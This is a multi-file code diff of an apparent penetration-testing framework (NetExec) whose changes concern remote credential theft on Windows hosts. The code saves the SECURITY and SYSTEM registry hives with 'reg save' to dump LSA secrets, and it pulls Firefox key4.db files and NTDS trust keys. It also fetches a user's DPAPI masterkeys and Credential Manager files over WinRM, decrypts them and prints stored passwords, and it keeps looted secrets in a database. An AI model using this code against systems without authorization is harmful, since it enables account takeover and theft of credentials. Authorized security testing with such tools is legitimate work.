key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.read_file(path=key4_path, share=self.share)
key4_data = self.conn.readFile(self.share, key4_path)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
@@ -248,6 +252,17 @@ class FirefoxTriage:
self.logger.debug(e)
return "", "", ""
def get_users(self):
users = []
users_dir_path = "Users\\*"
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
return users
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
+1 -5
View File
@@ -42,12 +42,8 @@ def proto_args(parser, parents):
kerb_keys_arg.make_required = [ntds_arg]
enabled_arg.make_required = [ntds_arg]
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)")
just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)")
trust_keys_arg.make_required = [ntds_arg]
just_trust_keys_arg.make_required = [ntds_arg]
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
+5 -2
View File
@@ -6,6 +6,7 @@ from impacket.dcerpc.v5 import lsat, lsad, samr
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.nmb import NetBIOSError
from impacket.smbconnection import SessionError
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
from nxc.helpers.rpc import NXCRPCConnection
@@ -143,7 +144,9 @@ class LSAQuery:
def lookup_sids(self, sids):
"""Use a list comprehension to generate the names list.
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
If the user is requesting a single SID and it is a well known SID, return the well known SID name to avoid a lookup.
Otherwise, it calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
"""
if len(sids) == 1 and sids[0] in WELL_KNOWN_SIDS:
return [WELL_KNOWN_SIDS[sids[0]]]
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
+149 -39
View File
@@ -1,6 +1,6 @@
import os
import base64
import binascii
import traceback
import requests
import urllib3
import logging
@@ -12,16 +12,19 @@ from pypsrp.client import Client
from pypsrp.powershell import PSDataStreams
from termcolor import colored
from dploot.lib.network.winrm import WINRMTarget as Target
from dploot.lib.utils import is_guid, is_credfile
from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
from impacket.uuid import bin_to_string
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.dpapi import DPAPITriage
from nxc.helpers.logger import highlight
from nxc.helpers.misc import gen_random_string
from nxc.helpers.negotiate_parser import parse_challenge
from nxc.logger import NXCAdapter
from nxc.paths import TMP_PATH
urllib3.disable_warnings()
@@ -38,10 +41,6 @@ class winrm(connection):
self.challenge_header = None
self.targetDomain = None
self.no_ntlm = False
self.dpapi_system_key = None
self.no_da = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
@@ -374,7 +373,7 @@ class winrm(connection):
SAM.dump()
SAM.export(output_filename)
def lsa(self, quiet=False):
def lsa(self):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
@@ -393,48 +392,159 @@ class winrm(connection):
else:
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
else:
if not quiet:
self.logger.display("Dumping LSA secrets")
self.logger.display("Dumping LSA secrets")
local_operations = LocalOperations(f"{output_filename}.system")
boot_key = local_operations.getBootKey()
def lsa_secret_callback(_, secret):
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
LSA = LSASecrets(
f"{output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lsa_secret_callback
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
def dpapi(self):
self.dpapi_triage.triage_dpapi()
"""
Find and unlock Credential Manager masterkeys and credentials owned by user.
The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials.
Actual decryption of keys and credentials is taken and adapted from impacket-dpapi.
"""
user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect")
user_credentials_paths = [
ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"),
ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials")
]
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.host,
port=self.port,
ssl=self.ssl,
lmhash=self.lmhash,
nthash=self.nthash,
)
self.logger.display("Collecting DPAPI masterkeys...")
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True)
if not sids:
self.logger.fail(f"No masterkeys found for user {self.username}")
return
masterkeys = []
for sid in sids.splitlines():
keys_path = ntpath.join(user_masterkey_path, sid.strip())
keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True)
for key in keys.splitlines():
stripped_key = key.strip()
if is_guid(stripped_key):
key_path = ntpath.join(keys_path, stripped_key)
self.logger.debug(f"Found masterkey file {key_path}")
local_key_file = f"{TMP_PATH}/{stripped_key}"
self.conn.fetch(key_path, local_key_file)
decrypted_key = self.get_master_key(local_key_file, sid, self.password)
if decrypted_key:
masterkeys.append((stripped_key, decrypted_key))
if not masterkeys:
self.logger.fail("Could not decrypt any keys")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
credential_files = []
for user_credentials_path in user_credentials_paths:
creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True)
for cred_file in creds.splitlines():
stripped_cred_file = cred_file.strip()
if is_credfile(stripped_cred_file):
creds_path = ntpath.join(user_credentials_path, stripped_cred_file)
self.logger.debug(f"Found credentials file {creds_path}")
local_cred_file = f"{TMP_PATH}/{stripped_cred_file}"
self.conn.fetch(creds_path, local_cred_file)
credential_files.append(local_cred_file)
if not credential_files:
self.log.fail(f"No credential files found for user {self.username}")
return
for creds_file in credential_files:
with open(creds_file, "rb") as fp:
data = fp.read()
cred = CredentialFile(data)
blob = DPAPI_BLOB(cred["Data"])
guid_masterkey = bin_to_string(blob["GuidMasterKey"])
right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None)
if right_key is not None:
try:
decrypted = blob.decrypt(right_key)
if decrypted is not None:
self.logger.debug(f"Successfully decrypted credentials in {creds_file}:")
creds = CREDENTIAL_BLOB(decrypted)
if creds["Unknown3"] != b"":
target = creds["Target"].decode("utf-16le")
username = creds["Username"].decode("utf-16le")
try:
password = creds["Unknown3"].decode("utf-16le")
except UnicodeDecodeError:
password = creds["Unknown3"].decode("latin-1")
self.logger.highlight(f"{target} - {username}:{password}")
except Exception as e:
self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}")
self.logger.debug(traceback.format_exc())
else:
self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})")
def get_master_key(self, masterkey_file, sid, password):
"""
Taken and adapted from impacket.examples.dpapi
Could be cleaned up but the more we deviate from the original the harder it will be to maintain it
"""
with open(masterkey_file, "rb") as fp:
data = fp.read()
mkf = MasterKeyFile(data)
data = data[len(mkf):]
if mkf["MasterKeyLen"] > 0:
mk = MasterKey(data[:mkf["MasterKeyLen"]])
data = data[len(mk):]
if mkf["BackupKeyLen"] > 0:
bkmk = MasterKey(data[:mkf["BackupKeyLen"]])
data = data[len(bkmk):]
if mkf["CredHistLen"] > 0:
ch = CredHist(data[:mkf["CredHistLen"]])
data = data[len(ch):]
if mkf["DomainKeyLen"] > 0:
dk = DomainKey(data[:mkf["DomainKeyLen"]])
data = data[len(dk):]
key1, key2, key3 = deriveKeysFromUser(sid, password)
# if mkf['flags'] & 4 ? SHA1 : MD4
decryptedKey = mk.decrypt(key3)
if decryptedKey:
self.logger.debug("Decrypted key with User Key (MD4 protected)")
return decryptedKey
decryptedKey = mk.decrypt(key2)
if decryptedKey:
self.logger.debug("Decrypted key with User Key (MD4)")
return decryptedKey
decryptedKey = mk.decrypt(key1)
if decryptedKey:
self.logger.debug("Decrypted key with User Key (SHA1)")
return decryptedKey
decryptedKey = bkmk.decrypt(key3)
if decryptedKey:
self.logger.debug("Decrypted Backup key with User Key (MD4 protected)")
return decryptedKey
decryptedKey = bkmk.decrypt(key2)
if decryptedKey:
self.logger.debug("Decrypted Backup key with User Key (MD4)")
return decryptedKey
decryptedKey = bkmk.decrypt(key1)
if decryptedKey:
self.logger.debug("Decrypted Backup key with User Key (SHA1)")
return decryptedKey
+1 -157
View File
@@ -1,6 +1,4 @@
import base64
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete, and_, or_
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import declarative_base
@@ -16,8 +14,6 @@ class database(BaseDB):
self.UsersTable = None
self.AdminRelationsTable = None
self.LoggedinRelationsTable = None
self.DpapiBackupkeyTable = None
self.DpapiSecretsTable = None
super().__init__(db_engine)
@@ -73,32 +69,6 @@ class database(BaseDB):
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
)
class DpapiSecret(Base):
__tablename__ = "dpapi_secrets"
id = Column(Integer)
host = Column(String)
dpapi_type = Column(String)
windows_user = Column(String)
username = Column(String)
password = Column(String)
url = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
)
class DpapiBackupKey(Base):
__tablename__ = "dpapi_backupkey"
id = Column(Integer)
domain = Column(String)
pvk = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("domain"),
)
@staticmethod
def db_schema(db_conn):
Base.metadata.create_all(db_conn)
@@ -108,8 +78,6 @@ class database(BaseDB):
self.UsersTable = self.reflect_table(self.User)
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
def add_host(self, ip, port, hostname, domain, os=None):
"""
@@ -306,20 +274,6 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -426,113 +380,3 @@ class database(BaseDB):
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
Add domain backupkey
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
backup_key = {"domain": domain, "pvk": pvk_encoded}
try:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
"""
q = select(self.DpapiBackupkeyTable)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
self,
host: str,
dpapi_type: str,
windows_user: str,
username: str,
password: str,
url: str = "",
):
"""Add dpapi secrets to nxcdb"""
secret = {
"host": host,
"dpapi_type": dpapi_type,
"windows_user": windows_user,
"username": username,
"password": password,
"url": url,
}
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
filter_term=None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecretsTable)
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecretsTable.c.host == host)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif username:
like_term = func.lower(f"%{username}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
+1 -3
View File
@@ -17,9 +17,7 @@ def proto_args(parser, parents):
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump for sam or lsa")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems")
mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration")
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
-34
View File
@@ -6,9 +6,6 @@ from nxc.config import process_secret
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
from nxc.logger import NXCAdapter
from nxc.protocols.wmi import wmiexec, wmiexec_event
from nxc.helpers.dpapi import DPAPITriage
from dploot.lib.network.wmi import WMITarget as Target
from impacket import ntlm
from impacket.uuid import uuidtup_to_bin
@@ -50,10 +47,6 @@ class wmi(connection):
}
self.iWbemLevel1Login = None
self.dcom_conn = None
self.no_da = None
self.dpapi_system_key = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
@@ -491,30 +484,3 @@ class wmi(connection):
return output
else:
return output
@requires_admin
def sccm(self):
self.dpapi_triage.triage_sccm()
@requires_admin
def dpapi(self):
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.remoteName,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
use_kcache=self.use_kcache,
)
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
+5 -309
View File
@@ -1,35 +1,25 @@
import base64
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String
from sqlalchemy.orm import declarative_base
from nxc.database import BaseDB
from nxc.logger import nxc_logger
Base = declarative_base()
class database(BaseDB):
def __init__(self, db_engine):
self.UsersTable = None
self.CredentialsTable = None
self.HostsTable = None
self.DpapiBackupkeyTable = None
self.DpapiSecretsTable = None
super().__init__(db_engine)
class User(Base):
__tablename__ = "users"
class Credential(Base):
__tablename__ = "credentials"
id = Column(Integer)
domain = Column(String)
username = Column(String)
password = Column(String)
credtype = Column(String)
pillaged_from_hostid = Column(Integer)
__table_args__ = (
PrimaryKeyConstraint("id"),
ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]),
)
class Host(Base):
@@ -43,304 +33,10 @@ class database(BaseDB):
PrimaryKeyConstraint("id"),
)
class DpapiSecret(Base):
__tablename__ = "dpapi_secrets"
id = Column(Integer)
host = Column(String)
dpapi_type = Column(String)
windows_user = Column(String)
username = Column(String)
password = Column(String)
url = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
)
class DpapiBackupKey(Base):
__tablename__ = "dpapi_backupkey"
id = Column(Integer)
domain = Column(String)
pvk = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("domain"),
)
@staticmethod
def db_schema(db_conn):
Base.metadata.create_all(db_conn)
def reflect_tables(self):
self.UsersTable = self.reflect_table(self.User)
self.CredentialsTable = self.reflect_table(self.Credential)
self.HostsTable = self.reflect_table(self.Host)
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
def add_host(self, ip, hostname, port):
"""Check if this host has already been added to the database, if not, add it in."""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.db_execute(q).all()
# create new host
if not results:
new_host = {
"ip": ip,
"hostname": hostname,
"port": port,
}
hosts = [new_host]
# update existing hosts data
else:
for host in results:
host_data = host._asdict()
# only update column if it is being passed in
if ip is not None:
host_data["ip"] = ip
if hostname is not None:
host_data["hostname"] = hostname
if port is not None:
host_data["port"] = port
if host_data not in hosts:
hosts.append(host_data)
updated_ids.append(host_data["id"])
nxc_logger.debug(f"Update Hosts: {hosts}")
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
self.db_execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
return updated_ids
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
"""Check if this credential has already been added to the database, if not add it in."""
credentials = []
if pillaged_from and not self.is_host_valid(pillaged_from):
nxc_logger.debug("Invalid host")
return
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.db_execute(q).all()
# add new credential
if not results:
new_cred = {
"credtype": credtype,
"domain": domain,
"username": username,
"password": password,
"pillaged_from": pillaged_from,
}
credentials = [new_cred]
# update existing cred data
else:
for creds in results:
# this will include the id, so we don't touch it
cred_data = creds._asdict()
# only update column if it is being passed in
if credtype is not None:
cred_data["credtype"] = credtype
if domain is not None:
cred_data["domain"] = domain
if username is not None:
cred_data["username"] = username
if password is not None:
cred_data["password"] = password
if pillaged_from is not None:
cred_data["pillaged_from"] = pillaged_from
# only add cred to be updated if it has changed
if cred_data not in credentials:
credentials.append(cred_data)
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.db_execute(q_users, credentials) # .scalar()
def remove_credentials(self, creds_id):
"""Removes a credential ID from the database"""
self.db_execute(delete(self.UsersTable).where(self.UsersTable.c.id.in_(creds_id)))
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
q = select(self.UsersTable).filter(
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None,
)
results = self.db_execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
"""Return credentials from the database."""
# if we're returning a single credential by ID
if self.is_credential_valid(filter_term):
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
elif cred_type:
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
# if we're filtering by username
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
# otherwise return all credentials
else:
q = select(self.UsersTable)
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
self.UsersTable.c.username == username,
self.UsersTable.c.password == password,
self.UsersTable.c.credtype == cred_type,
)
results = self.db_execute(q).first()
return results.id
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.db_execute(q).all()
return len(results) > 0
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
Add domain backupkey
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
backup_key = {"domain": domain, "pvk": pvk_encoded}
try:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
"""
q = select(self.DpapiBackupkeyTable)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
self,
host: str,
dpapi_type: str,
windows_user: str,
username: str,
password: str,
url: str = "",
):
"""Add dpapi secrets to nxcdb"""
secret = {
"host": host,
"dpapi_type": dpapi_type,
"windows_user": windows_user,
"username": username,
"password": password,
"url": url,
}
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
filter_term=None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecretsTable)
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecretsTable.c.host == host)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif username:
like_term = func.lower(f"%{username}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
-4
View File
@@ -10,10 +10,6 @@ def proto_args(parser, parents):
dgroup.add_argument("--local-auth", action="store_true", help="Authenticate locally to each target")
cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering")
cred_gathering_group.add_argument("--dpapi", choices={"cookies"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
egroup = wmi_parser.add_argument_group("Mapping/Enumeration")
Generated
+8 -57
View File
@@ -834,23 +834,21 @@ wmi = ["wmi (>=1.5.1)"]
[[package]]
name = "dploot"
version = "4.1.1"
version = "3.2.2"
description = "DPAPI looting remotely in Python"
optional = false
python-versions = "<4.0,>=3.10"
python-versions = "*"
groups = ["main"]
files = [
{file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"},
{file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"},
